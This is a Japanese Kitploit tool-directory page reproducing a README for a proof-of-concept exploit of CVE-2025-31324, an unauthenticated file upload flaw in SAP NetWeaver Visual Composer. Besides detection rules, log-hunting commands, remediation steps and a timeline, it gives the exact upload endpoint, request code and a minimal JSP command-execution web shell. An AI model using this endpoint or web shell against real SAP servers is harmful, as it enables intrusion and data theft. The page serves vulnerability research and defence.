Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-31324 — CVE-2025-31324の概念実証エクスプロイト。SAP NetWeaver Visual Composerにおける未認証のファイルアップロード脆弱性であり、検出ガイダンス、MITREマッピング、および修復手順を含む。 | Kitploit
ツール/GitHubGitHub/hkenzokimura/cve-2025-31324
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育レッドチーミングインシデントレスポンス
GitHubhkenzokimura/cve-2025-31324

CVE-2025-31324

CVE-2025-31324の概念実証エクスプロイト。SAP NetWeaver Visual Composerにおける未認証のファイルアップロード脆弱性であり、検出ガイダンス、MITREマッピング、および修復手順を含む。

リポジトリを見る
5時間23分前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

🔴 CVE-2025-31324 — SAP NetWeaver Visual Composer 未認証ファイルアップロード

タイプ: 概念実証 — 脆弱性調査 CVE: CVE-2025-31324 CVSS: 10.0 Critical (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) ステータス: パッチ適用済み — SAP Security Note 3594142 + 3604119 CISA KEV に追加: 2025年5月

⚠️ このPoCは、悪意のあるコードを実行せずに攻撃対象領域を検証するために、良性のJSPファイル("Hello World")を使用します。ペンテストおよび検知開発目的でのみ、許可された環境で使用してください。

Developed by: HKK


$ cat ./vulnerability_summary.txt

CVE-2025-31324 の脆弱性は、SAP NetWeaver AS Java の Visual Composer Metadata Uploader コンポーネントに存在します — 認可チェックの欠如 により、認証されていない攻撃者が /developmentserver/metadatauploader エンドポイントに POST リクエストを送信し、任意のファイルを無制限にアップロードできるようになります。

このCVEは、SAP NetWeaver Visual Composer Framework バージョン 7.50 に特に影響し、CVSSスコアは最大値である10.0です。

脅威アクターは、2025年1月から5月にかけてこの脆弱性を積極的に悪用し、世界中の数百のシステムに永続的なウェブシェルを展開しました。


$ cat ./impact.txt

高い権限で動作し、ERPデータに近接しているため、悪用後のSAP ABAPスタックや接続されたデータベースへのラテラルムーブメントは簡単です。

実際の攻撃における完全な悪用チェーン:

root@kitploit:~
JSPアップロード (CVE-2025-31324)
    → サーバー上の永続的なウェブシェル
        → SAPプロセスとしてのRCE(高権限)
            → ERPデータへのアクセス(財務、人事、サプライチェーン)
                → ABAP / DB へのラテラルムーブメント
                    → C2フレームワークの展開(例: Brute Ratel)

$ cat ./architecture.txt

脆弱なエンドポイントの仕組み

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────────┐
│              CVE-2025-31324 — EXPLOIT FLOW                              │
│                                                                         │
│  攻撃者                      SAP NETWEAVER AS JAVA                      │
│                                                                         │
│  POST /developmentserver/metadatauploader                               │
│  Content-Type: multipart/form-data          ┌─────────────────────┐    │
│  Body: JSP/WAR/任意のファイル ──────────► │  Metadata Uploader  │    │
│  (認証なし)                                 │                     │    │
│                                             │  ❌ 認証チェックなし  │    │
│                                             │  ❌ 拡張子の検証なし  │    │
│                                             │  ❌ コンテンツの      │    │
│                                             │     サニタイズなし   │    │
│                                             └────────┬────────────┘    │
│                                                      │                 │
│                                             ファイルは以下に保存:        │
│                                             /irj/root/ または類似      │
│                                                      │                 │
│  GET /irj/hello_world.jsp ◄──────────────────────────┘                 │
│  → Hello World (良性のPoC)                                              │
│  → ウェブシェル (実際の悪用)                                              │
└─────────────────────────────────────────────────────────────────────────┘

なぜこのエンドポイントが存在するのか?

/developmentserver/metadatauploader は SAP Visual Composer の一部です — これは、ビジネスアナリストがJavaコードなしでSAPアプリケーションを作成するためのローコード開発ツールです。このエンドポイントは、開発中にメタデータモデルを受け取るように設計されました。 このコンポーネントはNetWeaverのデフォルト設定では有効になっていませんが、Onapsisは本番環境で広く有効化されていると報告しています。


$ cat ./design_decisions.md

1. ペイロードの選択 — JSP "Hello World"

root@kitploit:~
file_content = """<%@ page language="java" contentType="text/html; charset=UTF-8" ...%>
<h1>Hello World</h1>"""

なぜJSPなのか、他の形式ではないのか?

SAP NetWeaver AS Java はJVMを実行します — .jsp ファイルは、事前のコンパイルなしでサーブレットコンテナ(組み込みApache Tomcat)によって直接解釈されます。これにより、JSPはJava環境でのウェブシェルに理想的な形式となります。

良性のコンテンツ("Hello World")の選択は、PoCのために意図的です:

  • 脆弱な攻撃対象領域を検証 しつつ、悪意のあるコードを実行しない
  • アップロードを確認 (HTTP 200コード + GET経由でアクセス可能なファイル)
  • ペンテストレポート用のクリーンなフォレンジック証跡

実際の悪用では、コンテンツはコマンド実行を伴うJSPウェブシェルになります。例:

root@kitploit:~
<%
  String cmd = request.getParameter("cmd");
  Runtime.getRuntime().exec(cmd);
%>

2. multipart/form-data — なぜこのContent-Typeなのか?

root@kitploit:~
files = {'file': (file_name, open(file_name, 'rb'), 'application/octet-stream')}

このエンドポイントは multipart/form-data リクエストを期待します — これはHTMLフォームのファイルアップロードで使用されるのと同じ形式です。これはVisual Composerの元の設計(開発モデルのアップロード)において意図的です。

requests ライブラリは、files= が渡されるとmultipartのバウンダリを自動的に構築します — Content-Type: multipart/form-data; boundary=... ヘッダーは内部で生成されます。

verify=False: TLS証明書の検証を無効にします — SAP環境では自己署名証明書が頻繁に使用されるため必要です。本番環境では、verify='/path/to/ca-bundle.crt' を使用してください。

3. エンドポイントパス — URLの構造

root@kitploit:~
https://<host>:<port>/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
コンポーネント意味
:50201SAP ICM(Internet Communication Manager)HTTPSのデフォルトポート
/developmentserver/Visual Composerの開発サーブレット
metadatauploaderメタデータアップロード専用エンドポイント
CONTENTTYPE=MODELエンドポイントが期待するコンテンツタイプ
CLIENT=1SAPクライアント(mandant)— 000、100、001 が一般的

$ cat ./mitre_mapping.yml

root@kitploit:~
tactic: Initial Access
  - T1190  # Exploit Public-Facing Application
            # HTTP POSTによる認証なしの /developmentserver/metadatauploader エンドポイントの悪用

tactic: Execution
  - T1505.003  # Server Software Component: Web Shell
               # アップロードされたJSPウェブシェル → サーブレットコンテナ(Tomcat)によって実行

tactic: Persistence
  - T1505.003  # 永続化メカニズムとしてのWeb Shell
               # JSPファイルは再起動後もサーバーのファイルシステムに永続化

tactic: Defense Evasion
  - T1036      # Masquerading
               # 正当なSAPファイルに偽装した名前のウェブシェル(例: metadata.jsp)

tactic: Discovery
  - T1082      # System Information Discovery
               # RCE後: プロセス、ユーザー、SAPパスの列挙

tactic: Lateral Movement
  - T1210      # Exploitation of Remote Services
               # RCEを介したABAPスタック、接続されたデータベースへのアクセス

tactic: Collection
  - T1005      # Data from Local System
               # ERPデータ(財務、人事、サプライチェーン)への直接アクセス

$ cat ./affected_versions.txt

root@kitploit:~
製品:  SAP NetWeaver Application Server Java
コンポーネント: Visual Composer Framework
バージョン:   7.50 (2025年4月/5月のパッチ前のすべてのビルド)

パッチ:
  SSN 3594142 → 初期パッチ(2025年4月)— ファイルアップロードを緩和
  SSN 3604119 → CVE-2025-42999による根本原因修正(2025年5月)— 根本原因に対処
  SSN 3578900, 3620498, 3621771, 3634501 → 追加のハードニングノート

CISA KEV: CVE-2025-31324 と CVE-2025-42999 の両方がカタログに追加されました

$ cat ./detection_opportunities.md

エクスプロイトの検知(攻撃中)

root@kitploit:~
# ルール: Metadata Uploaderエンドポイントへの認証なしPOST
# ソース: SAP Web Dispatcher / ICM アクセスログ

条件:
  - method: POST
  - uri_path CONTAINS: /developmentserver/metadatauploader
  - auth_header: ABSENT
  - body_content_type: multipart/form-data

重大度: 重大 — 直ちに調査
root@kitploit:~
# SAP ICMログ — 疑わしいパターン:
[2025-04-25 03:41:22] POST /developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
Status: 200 | Size: 1337 | Auth: NONE | IP: x.x.x.x

ウェブシェルの検知(侵害後)

root@kitploit:~
# ルール: 正当なSAPパス外で最近作成された.jspファイルへのGET
条件:
  - method: GET
  - uri_path MATCHES: /irj/.*\.jsp
  - file_creation_time: < 24h
  - file_NOT_IN: [既知の正当なJSPのリスト]
root@kitploit:~
# SAP JVMからの疑わしい子プロセス
# ソース: Sysmon / EDR プロセス作成
条件:
  - parent_process: java.exe または jstart.exe
  - child_process: cmd.exe または powershell.exe または sh または bash
  - command_line CONTAINS: -c または .socket または .call( または .spawn(

Red Canaryは、Linux環境でのCVE-2025-31324の悪用について、.socket と .call( または .spawn( を組み合わせた -c 引数を持つ python プロセス — ウェブシェル後のリバースシェルを示す — という検知パターンを文書化しました。

SAPログでのハンティング

root@kitploit:~
# 過去90日間の脆弱なエンドポイントへのPOSTリクエストを検索
# ログディレクトリ: /usr/sap/<SID>/J<inst>/work/

grep -r "metadatauploader" /usr/sap/*/work/dev_icm* | grep "POST"
grep -r "metadatauploader" /usr/sap/*/work/http_access* | grep -v "GET"

# Webディレクトリで最近作成されたJSPを一覧表示
find /usr/sap/ -name "*.jsp" -newer /usr/sap/<SID>/SYS/global/security -type f

$ cat ./remediation.md

root@kitploit:~
優先度: 重大 — 直ちにパッチ適用

1. コンポーネントがアクティブかどうかを確認:
   NWA → Configuration → Infrastructure → Java System Properties
   com.sap.tc.vccomp.server.vis.jms.VisJmsService を検索

2. 不要な場合 → Visual Composerを無効化:
   NWA → Start & Stop → Services → VisualComposer → Stop

3. 必須パッチを適用(順番に):
   SSN 3594142  ← 重大(ファイルアップロード)
   SSN 3604119  ← 根本原因(CVE-2025-42999)
   SSN 3578900, 3620498, 3660659(追加のハードニング)

4. JVM Serial Filterを設定(パッチ後):
   NWA → JVM Parameters → 悪意のあるクラスのフィルターを追加

5. Web Dispatcher / ファイアウォールでエンドポイントへのネットワークアクセスを制限:
   ブロック: 外部IPからの /developmentserver/*
   許可: 承認された開発ホストのみ

6. IOCを確認 — パッチ前に展開されたウェブシェルを検索:
   2025年1月以降のICMログを分析
   /irj/ 内の疑わしいコンテンツを含む.jspファイルを検索

$ cat ./usage.sh

root@kitploit:~
# 依存関係をインストール
pip install requests

# 実行前にスクリプト内のURLを編集:
# url = "https://<your-lab-host>:<port>/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1"

# 実行
python cve_2025_31324_poc.py

# アップロードが成功したか確認(ファイルにアクセス可能である必要があります)
curl -k https://<host>:<port>/irj/hello_world.jsp
# 脆弱な場合の期待される応答: "Hello World" を含むHTML
# パッチ適用済みの場合の期待される応答: 404 または 403

$ cat ./timeline.txt

root@kitploit:~
2025年1月      実環境での積極的な悪用の開始(遡及的に検出)
2025年4月24日  SAPがCVE-2025-31324(CVSS 10.0)+ SSN 3594142を公開
2025年4月28日  CISAが既知の悪用された脆弱性カタログに追加
2025年4月29日  Rapid7、Qualys、Red Canaryが技術分析を公開
2025年5月7日   Onapsis + Mandiant(Google Cloud)が共同ブリーフィングを公開
2025年5月13日  SAPがSSN 3604119を公開(CVE-2025-42999による根本原因、CVSS 9.1)
2025年5月15日  CISAがCVE-2025-42999をKEVカタログに追加
2025年5月20日  米国連邦システムへのパッチ適用に関するCISAの期限
2025年6月25日  Unit 42がキャンペーンの積極的な監視を終了

$ cat ./references.md

root@kitploit:~
CVE:        https://www.cve.org/CVERecord?id=CVE-2025-31324
SAP Note:   https://me.sap.com/notes/3594142
NVD:        https://nvd.nist.gov/vuln/detail/CVE-2025-31324
CISA KEV:   https://www.cisa.gov/known-exploited-vulnerabilities-catalog
Onapsis:    https://onapsis.com/blog/active-exploitation-of-sap-vulnerability-cve-2025-31324/
Rapid7:     https://www.rapid7.com/blog/post/2025/04/28/etr-active-exploitation-of-sap-netweaver-visual-composer-cve-2025-31324/
Unit 42:    https://unit42.paloaltonetworks.com/threat-brief-sap-netweaver-cve-2025-31324/
Red Canary: https://redcanary.com/blog/threat-intelligence/cve-2025-31324/

$ cat ./lessons_learned.txt

root@kitploit:~
[+] 「開発」エンドポイントでの認可チェック欠如は、過小評価されている古典的なベクトル
[+] CVSS 10.0 の意味: 認証なし + ネットワーク到達可能 + 完全なRCE — 最も重大なトリフェクタ
[+] Visual Composerはデフォルトではないが、本番環境で広くアクティブだった — シャドウ機能のリスク
[+] ウェブシェルとしてのJSPは特にステルス性が高い: コンパイル不要、コンテナによって直接実行
[+] 脅威アクターは公開前に3ヶ月以上悪用 — SOC検知が重要
[-] PoCのverify=False — 実際のペンテストでは、自己署名証明書を文書化し、verify=パスを使用
[-] CLIENT=1がハードコード — 本番環境では000、100、200を使用する場合がある; 事前に列挙
[-] PoCはアップロード後にファイルがアクセス可能かどうかを確認しない — 確認用のGETを追加
[→] 改善: host/port/client用のargparse、アップロード後の自動確認、JSON出力

CVE Research · CVSS 10.0 · Patched April/May 2025 · CISA KEV · Authorized testing only

ツールをダウンロード